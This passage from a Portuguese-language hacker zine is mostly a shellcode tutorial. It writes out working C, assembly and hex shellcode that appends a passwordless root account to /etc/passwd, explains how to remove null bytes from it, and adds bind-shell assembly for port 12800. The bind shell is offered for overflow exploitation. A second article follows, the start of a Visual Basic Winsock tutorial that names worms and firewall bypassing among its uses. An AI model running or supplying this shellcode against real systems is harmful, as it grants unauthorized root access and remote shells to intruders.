/* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */
passwd = open("/etc/passwd",1026);

/* Após aberto, escrevemos nossa string no arquivo desejado. */
/* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen("\nip_fix::0:0::/root:/bin/sh\n")); */
write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30);

/* Sai livremente. */
exit(0);

}
<--> shellcode/cpasswd.c

         Lembre-se: Se você  tiver alguma dúvida   sobre as funções,  utilize as
         man pages, você  aprenderá muito com  elas, te  garanto!  Pronto. Agora
         chegou  a  melhor    hora:  Compilar  e  executar!!!   :)  Confira  seu
         /etc/passwd primeiro.

root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:

root@motdlabs:~/IP_FIX/shellcode#

	Compilando e executando...

root@motdlabs:~/IP_FIX/shellcode# gcc -o cpasswd cpasswd.c
root@motdlabs:~/IP_FIX/shellcode# ./cpasswd
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:

ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#

Agora  temos que  converter para  assembly, será  um pouco  trabalhoso mas  nada
impossível! Vamos ver nossa tabela primeiro.:

 _____________________________________________________________________________________________
|%eax|    Name    |           Source           |      %ebx    |  %ecx  |  %edx  | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 1  |  sys_exit  | kernel/exit.c              |     int      |        |        |      |      |
| 4  |  sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t |      |      |
| 5  |  sys_open  | fs/open.c                  | const char * |  int   |   int  |      |      |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

root@motdlabs:~/IP_FIX/shellcode# man open

int open(const char *pathname, int flags, mode_t mode);
        [        %ebx        ] [  %ecx  ] [   %edx   ]

	De posse dessas informações, vamos construir nosso
código em assembly.

<++> shellcode/asmpasswd.c
/*
 *  Protótipo de shellcode em ASM.
 *  Adiciona um usuário com premissões root.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmpasswd asmpasswd.c
 */

#include

main() {
	__asm__(
	         "xor  %eax,  %eax \n" /* Zera %eax.                                                                 */
                 "push $0x647773   \n" /* Movemos toda no string...                                                  */
                 "push $0x7361702F \n" /* ...para o stack.                                                           */
		 "push $0x6374652F \n" /* /etc/passwd                                                                */
                 "mov  %esp,  %ebx \n" /* Agora jogamos nossa string para %ebx: (const char *pathname,...            */
		 "mov  $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,...                         */
		 "mov  $0x5,   %al \n" /* System Call de open().                                                     */
		 "int  $0x80       \n" /* Cai pro modo kernel.                                                       */
		 "mov  %eax,  %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */
		 "push $0x0A68732F \n" /* Movemos...                                                                 */
		 "push $0x6E69622F \n" /* ...a outra...                                                              */
		 "push $0x3A746F6F \n" /* ...string...                                                               */
		 "push $0x722F3A3A \n" /* ...novamente...                                                            */
		 "push $0x303A303A \n" /* ...para o...                                                               */
		 "push $0x3A786966 \n" /* ...Stack.                                                                  */
		 "push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n                                             */
	         "mov  %esp,  %ecx \n" /* Jogamos ela no contador %ecx.                                              */
		 "xor  %edx,  %edx \n" /* Zeramos %edx.                                                              */
		 "mov  $0x1C,  %dl \n" /* Tamanho da string em %edx.                                                 */
		 "mov  $0x4,   %al \n" /* Nossa amável system call de write().                                       */
		 "int  $0x80       \n" /* Comece o Show!!!                                                           */
		 "xor  %eax,  %eax \n" /* Zera %eax.								     */
		 "xor  %ebx,  %ebx \n" /* Zera %ebx pra SUCCESS.                                                     */
		 "mov  $0x1,   %al \n" /* System Call de exit().                                                     */
                 "int  $0x80       \n" /* Executa tudo.                                                              */
		 );
}
<--> shellcode/asmpasswd.c

Grandinho  né? Apesar  do tamanho  repare que  não foge  do padrão  dos códigos
anteriores.  Irei  explicar  agora  algumas  passagens  que  merecem  uma  certa
atenção.:

"mov  $0x402, %cx \n"

Perae, não era pra ter movido as flags O_RDWR|O_APPEND para %cx?
Por que no código em C tem o número 1026 no lugar dessas flags?

Rapaz, você  só irá  descobrir se  fuçar. Meu  código estava  prontinho mas  não
conseguia rodar por causa disso, até que  vi num txt o número 3074 no  lugar das
flags,  mas  fiquei me  perguntando  da onde  surgiu  isso. Bem,  eu  compilei o
programa com as flags normais que queria (O_RDWR|O_APPEND), e debuguei. Vi  logo
que quando "disassembliei" a função main,  a primeira coisa que era passado  pro
stack eram as flags, suponho que seje por motivos de segurança que as  permições
do arquivo sejam passadas em primeiro lugar.

No meu caso apareceu 0x402  que é 1026 em decimal.  Faça isso e comprove na  sua
máquina. Fuçe muito!!!

"mov  $0x1C,  %dl \n"

Calmae! O decimal 30 não é 1E em hexadecimal? Por que está movendo apenas 1C pra
%dl?

No cpasswd precisamos  contar todos os  caracteres para que  a saída no  arquivo
seje perfeita (sem sujeiras) e em asm não é diferente. Mas olhe na tabela  ascii
que existe um códigpo para o  "\n"(0A). Com isso, nosso código diminui  2 bytes.
=)

	Vamos se tudo isso vai funcionar. :)

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd asmpasswd.c
root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:

ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#

	Sim!!! Funciona!!! Vamos sem perder tempo pegar os opcodes!!! :P

<++> shellcode/hexapasswd.c
/*
 *  Shellcode pronto em hexadecimal.
 *  Adiciona um usuário com premissões root.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o hexapasswd -static hexapasswd.c
 */

#include

char shellcode[] = "\x31\xc0"             /* xor    %eax,%eax   */
                   "\x68\x73\x77\x64\x00" /* push   $0x647773   */
                   "\x68\x2f\x70\x61\x73" /* push   $0x7361702f */
                   "\x68\x2f\x65\x74\x63" /* push   $0x6374652f */
                   "\x89\xe3"             /* mov    %esp,%ebx   */
                   "\x66\xb9\x02\x04"     /* mov    $0x402,%cx  */
                   "\xb0\x05"             /* mov    $0x5,%al    */
                   "\xcd\x80"             /* int    $0x80       */
                   "\x89\xc3"             /* mov    %eax,%ebx   */
                   "\x68\x2f\x73\x68\x0a" /* push   $0xa68732f  */
		   "\x68\x2f\x62\x69\x6e" /* push   $0x6e69622f */
                   "\x68\x6f\x6f\x74\x3a" /* push   $0x3a746f6f */
                   "\x68\x3a\x3a\x2f\x72" /* push   $0x722f3a3a */
                   "\x68\x3a\x30\x3a\x30" /* push   $0x303a303a */
		   "\x68\x66\x69\x78\x3a" /* push   $0x3a786966 */
		   "\x68\x0a\x69\x70\x5f" /* push   $0x5f70690a */
                   "\x89\xe1"             /* mov    %esp,%ecx   */
		   "\x31\xd2"             /* xor    %edx,%edx   */
		   "\xb2\x1c"             /* mov    $0x1c,%dl   */
                   "\xb0\x04"             /* mov    $0x4,%al    */
                   "\xcd\x80"             /* int    $0x80       */
		   "\x31\xc0"             /* xor    %eax,%eax   */
                   "\x31\xdb"             /* xor    %ebx,%ebx   */
                   "\xb0\x01"             /* mov    $0x1,%al    */
                   "\xcd\x80";            /* int    $0x80       */
main() {

        /* Mostramos o tamanho para se ter um controle maior. */
        printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));

	/* Criamos um ponteiro para uma função do tipo long. */
        long (*executa) ();

        /* Apontamos a função para o shellcode. */
        executa = shellcode;

	/* E aqui acontece a mágica! :) */
        executa();
}
<--> shellcode/hexapasswd.c

Atenção nas  flags de  compilação. Dessa  vez precisamos  compilar estaticamente
para funcionar. Vamos ver:

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd -static hexapasswd.c
hexapasswd.c: In function `main':
hexapasswd.c:45: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd
Tamanho do Shellcode: 6 bytes.
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:

ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#

	Sim!!! Funciona!!! :D
	Opa! Perae! Tem algo errado! Olhem isso:

Tamanho do Shellcode: 6 bytes.

        Impossível um shellcode daquela proporção ter apenas isso.
	Ahhh, achei o problema:

"\x68\x73\x77\x64\x00" /* push   $0x647773   */

Aqui está o problema,  um NULL byte, um  simples null byte que  simplesmente faz
perder toda a graça  de nosso shellcode :(.  O tamanho do shellcode  foi 6 bytes
porque a função strlen() conta os  caracteres até encontrar um null byte  ('\0')
que indica o final da string.

E agora?  Como resolveremos  isso? Isso  me deu  uma grande  dor de  cabeça pois
preenchi o \x00  com a tabela  ascii inteira sem  sucesso. Empilhei a  string de
todos os jeitos possíveis, com caracteres  a mais e a menos, mas  sem sucesso!!!
Então pedi ajuda ao Narcotic e ele me sugeriu que fizesse o seguinte:

" - Preenche o último byte com lixo e depois faz um rotacionamento com
"shr" para desconsiderá-lo.".

	Mas como isso? Até que é simples! Confira no código abaixo:

<++> shellcode/asmpasswd2.c
/*
 *  Protótipo de shellcode em ASM.
 *  Adiciona um usuário com premissões root.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmpasswd2 asmpasswd2.c
 */

#include

main() {
	__asm__(
	         "xor  %eax,  %eax \n" /* Zera %eax.                                                                 */
		 "mov  $0x647773FF, %ebx \n" /* Movemos a string para %ebx com lixo (FF). dwsFF                      */
		 "shr  $0x8, %ebx  \n" /* Rotacionamos 8 bits (1 byte) para retiramos o FF.                          */
		 "push %ebx        \n" /* Jogamos tudo para o stack.                                                 */
		 "push $0x7361702F \n" /* E tudo vai normalmente para o stack. sap/                                  */
		 "push $0x6374652F \n" /* cte/                                                                       */
		 "mov  %esp, %ebx  \n" /* Agora sim jogamos pra %ebx: (const char *pathname,...                      */
		 "mov  $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,...                         */
		 "mov  $0x5,   %al \n" /* System Call de open().                                                     */
		 "int  $0x80       \n" /* Cai pro modo kernel.                                                       */
		 "mov  %eax,  %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */
		 "push $0x0A68732F \n" /* Movemos...                                                                 */
		 "push $0x6E69622F \n" /* ...a outra...                                                              */
		 "push $0x3A746F6F \n" /* ...string...                                                               */
		 "push $0x722F3A3A \n" /* ...novamente...                                                            */
		 "push $0x303A303A \n" /* ...para o...                                                               */
		 "push $0x3A786966 \n" /* ...Stack.                                                                  */
		 "push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n                                             */
	         "mov  %esp,  %ecx \n" /* Jogamos ela no contador %ecx.                                              */
		 "xor  %edx,  %edx \n" /* Zeramos %edx.                                                              */
		 "mov  $0x1C,  %dl \n" /* Tamanho da string em %edx.                                                 */
		 "mov  $0x4,   %al \n" /* Nossa amável system call de write().                                       */
		 "int  $0x80       \n" /* Comece o Show!!!                                                           */
		 "xor  %eax,  %eax \n" /* Zera %eax.								     */
		 "xor  %ebx,  %ebx \n" /* Zera %ebx pra SUCCESS.                                                     */
		 "mov  $0x1,   %al \n" /* System Call de exit().                                                     */
                 "int  $0x80       \n" /* Executa tudo.                                                              */
		 );
}
<--> shellcode/asmpasswd2.c

A arquitetura intel trabalha assim mesmo,  só podemos jogar até 4 bytes  por vez
na  pilha. Repare  que em  todos meus  códigos eu  fiz o  possível para  sempre
empurrar 4 bytes para nunca sobrar um null byte, mas nesse caso não foi possível
pois a string "/etc/passwd" não é múltiplo de 4 e sempre sobrará um espaço!!!

Quando houver situações como essa podemos preencher o espaço com lixo e apagá-lo
com feito acima. Irei explicar melhor:

A função open() nos informa de  que precisamos ter o arquivo que  queremos abrir
em %ebx, mas antes precisamos empilhar a string no stack e depois sim, jogar  em
%ebx. Nessa caso, teremos que isolar a string para rotacionarmos.:

"mov  $0x647773FF, %ebx \n"

Com ela isolada, vamos rotacionar 1 byte. O que o mnemônico "shr" (shift  right)
faz é  rotacionar um  quantidade n  de bits  para a  direita, e  como precisamos
voltar 1 byte, ratacionamos 8 bits afim de se acabar com o FF. :)

"shr  $0x8, %ebx  \n"

Com essa alteração feita, agora sim podemos empurrar para o stack.

"push %ebx        \n"

	E proseguirmos normalmente com o resto. =)

"push $0x7361702F \n"
"push $0x6374652F \n"
"mov  %esp, %ebx  \n"

É..., o que um null byte não faz a gente fazer? :P
Seja como for, sempre  há um jeito para  sermos bem sucedidos em  situações como
essa. Agora vamos compilar, testar e debugar!

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd2 asmpasswd2.c
root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd2
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:

ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#

	SIM!!! FUNCIONA!!!
	Agora vamos a caça dos opcodes! =)

<++> shellcode/hexapasswd2.c
/*
 *  Shellcode pronto em hexadecimal.
 *  Adiciona um usuário com premissões root.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o hexapasswd2 -static hexapasswd2.c
 */

#include

char shellcode[] = "\x31\xc0"             /* xor    %eax,%eax        */
		   "\xbb\xff\x73\x77\x64" /* mov    $0x647773ff,%ebx */
		   "\xc1\xeb\x08"         /* shr    $0x8,%ebx        */
		   "\x53"                 /* push   %ebx             */
                   "\x68\x2f\x70\x61\x73" /* push   $0x7361702f      */
                   "\x68\x2f\x65\x74\x63" /* push   $0x6374652f      */
                   "\x89\xe3"             /* mov    %esp,%ebx        */
                   "\x66\xb9\x02\x04"     /* mov    $0x402,%cx       */
                   "\xb0\x05"             /* mov    $0x5,%al         */
                   "\xcd\x80"             /* int    $0x80            */
                   "\x89\xc3"             /* mov    %eax,%ebx        */
                   "\x68\x2f\x73\x68\x0a" /* push   $0xa68732f       */
		   "\x68\x2f\x62\x69\x6e" /* push   $0x6e69622f      */
                   "\x68\x6f\x6f\x74\x3a" /* push   $0x3a746f6f      */
                   "\x68\x3a\x3a\x2f\x72" /* push   $0x722f3a3a      */
                   "\x68\x3a\x30\x3a\x30" /* push   $0x303a303a      */
		   "\x68\x66\x69\x78\x3a" /* push   $0x3a786966      */
		   "\x68\x0a\x69\x70\x5f" /* push   $0x5f70690a      */
                   "\x89\xe1"             /* mov    %esp,%ecx        */
		   "\x31\xd2"             /* xor    %edx,%edx        */
		   "\xb2\x1c"             /* mov    $0x1c,%dl        */
                   "\xb0\x04"             /* mov    $0x4,%al         */
                   "\xcd\x80"             /* int    $0x80            */
		   "\x31\xc0"             /* xor    %eax,%eax        */
                   "\x31\xdb"             /* xor    %ebx,%ebx        */
                   "\xb0\x01"             /* mov    $0x1,%al         */
                   "\xcd\x80";            /* int    $0x80            */
main() {

        /* Mostramos o tamanho para se ter um controle maior. */
        printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));

	/* Criamos um ponteiro para uma função do tipo long. */
        long (*executa) ();

        /* Apontamos a função para o shellcode. */
        executa = shellcode;

	/* E aqui acontece a mágica! :) */
        executa();
}
<--> shellcode/hexapasswd2.c

	Vamos ver se está certo.:

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd2 -static hexapasswd2.c
hexapasswd2.c: In function `main':
hexapasswd2.c:47: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd2
Tamanho do Shellcode: 86 bytes.
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:

ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#

	w00w00!!! Sim!!! Perfeito!!!

É um pouco grandinho mas funciona, lembrando-se que numa exploração de  overflow
podemos carregar nosso shellcode na  enviroment no sistema ao invés  de jogarmos
dentro do buffer. ;)

	Galera, é isso aí...

Tinha prometido para muitos que iria colocar uma bindshell aqui (desculpa dns-),
mas  o  que me impossibilitou  foi  o tempo,  justo  quando estava  terminando  a
bindshell  eu consegui um emprego e como  estudo noperíodo da noite fiquei
impossibilitado de terminar... Mas abaixo segue o fonte em ASM, mas sem null
bytes!!! :)

<++> shellcode/asmbind.c
/*
 *  Protótipo de shellcode em ASM.
 *  Binda uma shell na porta 12800.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmbind asmbind.c
 */

#include

main() {

	__asm__(
		"lea  main+32, %edx \n"
		"call %edx          \n"
		"xor  %eax, %eax    \n"
		"xor  %ebx, %ebx    \n"
		"mov  $0x1, %al     \n"
		"int  $0x80         \n"
		"xor  %eax, %eax    \n"
        	"mov  $0x2, %al     \n"
		"int  $0x80         \n"
		"test %eax, %eax    \n"
		"lea  main+54, %edx \n"
  		"jne  main+24       \n"
		"jmp  %edx          \n"
		"xor  %eax, %eax    \n"
		"xor  %ebx, %ebx    \n"
		"mov  $0x1, %bl     \n"
        	"push %eax          \n"
        	"push $0x1          \n"
        	"push $0x2          \n"
		"mov  %esp,  %ecx   \n"
		"mov  $0x66, %al    \n"
		"int  $0x80         \n"
		"xor  %edx,  %edx   \n"
  		"push %edx          \n"
		"push $0x32         \n"
		"mov  $0x2,  %bl    \n"
		"push %bx           \n"
		"mov  %esp,  %ecx   \n"
		"push $0x10         \n"
		"push %ecx          \n"
		"push %eax          \n"
		"mov  %esp,  %ecx   \n"
		"mov  $0x66, %al    \n"
		"int  $0x80         \n"
      		"not  %al           \n"
		"mov  $0x4,   %bl   \n"
		"mov  $0x66,  %al   \n"
		"int  $0x80         \n"
   		"add  $0xc,   %esp  \n"
		"push %edx          \n"
		"push %edx          \n"
		"mov  $0x5,   %bl   \n"
		"mov  $0x66,  %al   \n"
		"int  $0x80         \n"
		"mov  %al,   %bl    \n"
		"xor  %ecx,  %ecx   \n"
		"mov  $0x3f, %al    \n"
		"int  $0x80         \n"
		"mov  $0x1,  %cl    \n"
		"mov  $0x3f, %al    \n"
		"int  $0x80         \n"
		"mov  $0x2,  %cl    \n"
		"mov  $0x3f, %al    \n"
		"int  $0x80         \n"
		"xor  %eax,  %eax   \n"
		"push %eax          \n"
		"push $0x68732F2F   \n"
		"push $0x6E69622F   \n"
		"mov  %esp,  %ebx   \n"
		"push %eax          \n"
		"push %ebx          \n"
		"mov  %esp,  %ecx   \n"
		"xor  %edx,  %edx   \n"
		"mov  $0xb,  %al    \n"
		"int  $0x80         \n"
		);
}
<--> shellcode/asmbind.c

Desculpem a falta  de comentários, mas  terminei um dia  antes do lançamento  da
zine e iria demorar muito para comentas as passagens. Mas  prometo  a todos  que
brevemente estarei  disponibilizando  novamente  esse artigo de uma   forma mais
decente  e com mais  codes (bindshell melhorada, chroot  pra nãofugir do padrão.
:) E também codes próprios) e  depuração de shellcode enfim, esse txt  foi muito
corrido no final dele e não deu pra mim se expor como deveria.
Peço desculpas a todos  e que aguardem novas atualizações.

	Esses são apenas alguns links com referências sobre shellcode:

http://shellcode.org/
http://www.shellcode.com.ar/
http://www.metasploit.com/shellcode.html
http://www.enderunix.org/docs/en/sc-en.txt
http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html
http://www.siforge.org/articles/2004/01/12-shellcode_da_zero.html
http://community.core-sdi.com/~juliano
http://neworder.box.sk/newsread.php?newsid=10077
http://www.mindsec.com/files/art-shellcode.txt
http://www.infosecwriters.com/hhworld/shellcode.txt
www.firewalls.com.br/files/shellcode.pdf
http://www.phrack.org/phrack/49/P49-14
www.arson-network.com/ index.php?class=tutorial&subargs=479
http://www.firewalls.com.br/files/shellcode.pdf
http://www.firewalls.com.br/files/buffer.pdf
www.securenet.com.br/artigo.php?artigo=3
www.id3ntlab.hpg.ig.com.br/shellcII.txt
http://embranet.com/~fingu/text/shellcode.txt

	Aqui os principais sobre ASM:

http://www.linuxassembly.org/
http://www.w00w00.org/files/articles/att-vs-intel.txt
http://webster.cs.ucr.edu/
http://www.arl.wustl.edu/~lockwood/class/cse306/books/artofasm/toc.html
http://www-106.ibm.com/developerworks/linux/library/l-ia.html

Me desculpem a falta  de organização, mas compensarei  tudo na versão 2.0  desse
artigo. :P
Por  isso   nem  finalizei   as  conclusões,   aguarde  que   em  breve  estarei
disponibilizando isso mais que completo. =)

[]'s

IP_FIX.

MSN: everson3000@hotmail.com
ICQ: 159834122

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[06]-=[Tutorial Básico de Winsock em VB]-=|vbKeyDel|=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Índice:
1 > Introdução
2 > Adicionando e conhecendo um Winsock
3 > Conectando
4 > CHAT - Toda a comunicação é um Chat
5 > Idéia de Túnel
6 > Contato

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 1: Introdução =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Pré-requisitos básicos:
- Para se entender é preciso que haja um mínimo de entendimento de Visual Basic
6...
- É obvio que se tenha-o(Visual Basic) para poder praticar
- MSWINSCK.OCX em %windir%\system32\
- Também seria interessante  ter-se um Sniffer, e  com ele "fuçar" e  fazer seus
próprios testes!, é  bem interessante "fuçá-los",  com eles é  possível fixar de
melhor forma os aprendizados aqui citados...

Atualmente,  a  internet   vem  revolucionando  a   comunicação  de  uma   forma
incrivelmente rápida, prática, eficiente...

Creio que quem  lê este tutorial  espera conter um  conhecimento básico para  se
criar uma comunicação entre computadores, visando inúmeras atividades, como  por
exemplo:

- Criação de programas Proxies
- Burlamento de Firewalls
- Burlamento de Proxies
- Criação de WebBrowser
- Criação de Worms
- Criação de Vírus
- Criação de Chats
- Criação de FireWalls
- Inúmeras idéias podem surgir de acordo com a criatividade do programador...

Mas Querer não é preciso, é Preciso fazer...
- "Mas é um 'bicho de 7 cabeças' isso! como faço?"
Se você pensa dessa forma, passe  a pensar assim: "Um conjunto de  simplicidades
formam uma complexidade..."

Pronto!...Agora confirme e veja como é tão simples!

========================== Observações iniciais ===============================

Sempre que eu  utilizar este sinal(#),  saiba que estou  usando ele apenas  para
separar o código do texto...

Sempre que eu  utilizar este sinal(-),  saiba que estou  usando ele apenas  para
indicar algo que você tenha que fazer...

Sempre que eu utilizar este sinal(>>>),  saiba que estou usando ele apenas  para
indicar Atualização de código

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 2: Adicionando e conhecendo um Winsock =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

- Abra o VB e crie um formulário!(FORM)
- Click com o botão direito do mouse sobre a barra de ferramentas
- Click em Components...
- Selecione a caixa de checagem: Microsoft Winsock Control 6.0 (no nosso caso)
- Aplique
- Adicione  o novo  controle no  form, agora  ele deve  aparecer como  o tamanho
indimensionável do Controle Timer...

Pronto... o Winsock já pode ser utilizado

Agora vamos conhecê-lo

-------------------------------------------------------------------------------
OBS: Colocarei apenas os itens mais básicos e suficiente para se fazer que
quiser
-------------------------------------------------------------------------------

Funções:
Accept -> Aceita uma conecção esperada
Close -> Prepara ou reprepara o Winsock para ser utilizado novamente
Connect -> Tenta se conectar com um computador que estaja esperando uma conexão
GetData -> Armazena em uma determinada memória o valor atual recebido
Listen -> "Escuta", isto é...abre uma porta e espera uma conecção
SendData -> Envia uma determinada Mensagem para o Host Conectado

Propriedades:
Protocol -> pode ser (0 ou sckTCPProtocol) ou (1 ou sckUDPProtocol)
LocalHostName -> Nome do seu Host(você)
LocalIP -> Seu IP
LocalPort -> Sua Porta de escuta
RemoteHost -> Host Remoto
RemoteHostIP -> IP do Host Remoto
RemotePort -> Porta do Host Remoto na qual está sendo usada
State -> Estado atual do Componente, que varia de 0 a 9, Listado abaixo os estados

Constante -> Valor -> Descrição
sckClosed -> 0 -> Padrão, Fechado, preparado para o que precisar
sckOpen -> 1 -> Aberto
sckListening -> 2 -> Escutando
sckConnectionPending -> 3 -> Esperando pronto para Conexão
sckResolvingHost -> 4 -> Resolvendo Host
sckHostResolved -> 5 -> Host Resolvido
sckConnecting -> 6 -> Conectando
sckConnected -> 7 -> Conectado
sckClosing -> 8 -> Fechando conexão("preparando para preparar conexão")
sckError -> 9 -> Erro

Eventos:
Close -> É Executado toda vez que  a conecção fechada, não é executado quando  a
função close é utilizada...
Connect -> É Executado toda vez que uma conexão é estabelecida
ConnectionRequest ->  É Executado  toda vez  que tentam  se conectar  com o  seu
controle, apenas  se o  seu controle  estiver "escutando"(state  = 2  ou state =
sckListening)
DataArrival -> É executado Toda vez que (quando conectado) receber alguma
informação

Bom...Agora que já o conhecemo-lo, vamos ao projeto!!!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 3: Conectando =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Agora  que  já temos  o  controle em  nosso  formulário vamos  fazer  um pequeno
WebBrowser que é capaz de exibir apenas o código fonte!

- Adicione a este formulário um Textbox!
- Arrume a propriedade "Name" dele como: "Text1"
- Arrume a propriedade "MultLine" para: "True"
- Arrume a propriedade "ScrollBars" para: 2
- Arrume a propriedade "Text" para estar vasio

- Adicione 1 botão ao formulário
- Arrume a propriedade "Name" para: "Command1"
- Arrume a propriedade "Caption" para: "&Baixar"

- Deixe o Winsock com a propriedade "Name" como "Winsock1" mesmo...

Agora arrume o código do botão de tal forma que fique como o mostrado abaixo:

# Private Sub Command1_Click()
# Winsock1.Connect "home.uol.com.br", 80
# End Sub

Bom...Agora click 2 vezes sobre o winsock...Agora Arrume o Evento Connect para
ficar como abaixo:

# Private Sub Winsock1_Connect()
# Dim DadoAEnviar As String
# DadoAEnviar = "GET / HTTP/1.1" & vbCrLf
# DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf
# DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf
# DadoAEnviar = DadoAEnviar & vbCrLf
# Winsock1.SendData DadoAEnviar
# End Sub

Agora arrume o Evento DataArrival do winsock1 para ficar como abaixo:

# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text1.Text = Text1.Text & X
# End Sub

Como Isso funciona:
Bom...

# Private Sub Command1_Click()
# Winsock1.Connect "home.uol.com.br", 80
# End Sub

Como Já foi dito a função Connect serve para tentar se conectar...
Ela funciona da seguinte forma: Connect(Host, Porta)
No   nosso  caso,   "pedimos"  para   o  winsock1   tentar  se   connectar  com
"home.uol.com.br" pela porta 80
Esta porta 80 serve para comunicação do protocolo HTTP, mas como queremos ver  a
página temos  que fazer  nosso pedido  após acabarmos  de nos conectar... porém,
como sabemos que conseguimos nos conectar com sucesso?

O Evento Connect do winsock é executado toda vez que conseguimos nos conectar...
Graças a isso podemos fazer nosso pedido quando nos conectar da seguinte forma:

# Private Sub Winsock1_Connect()
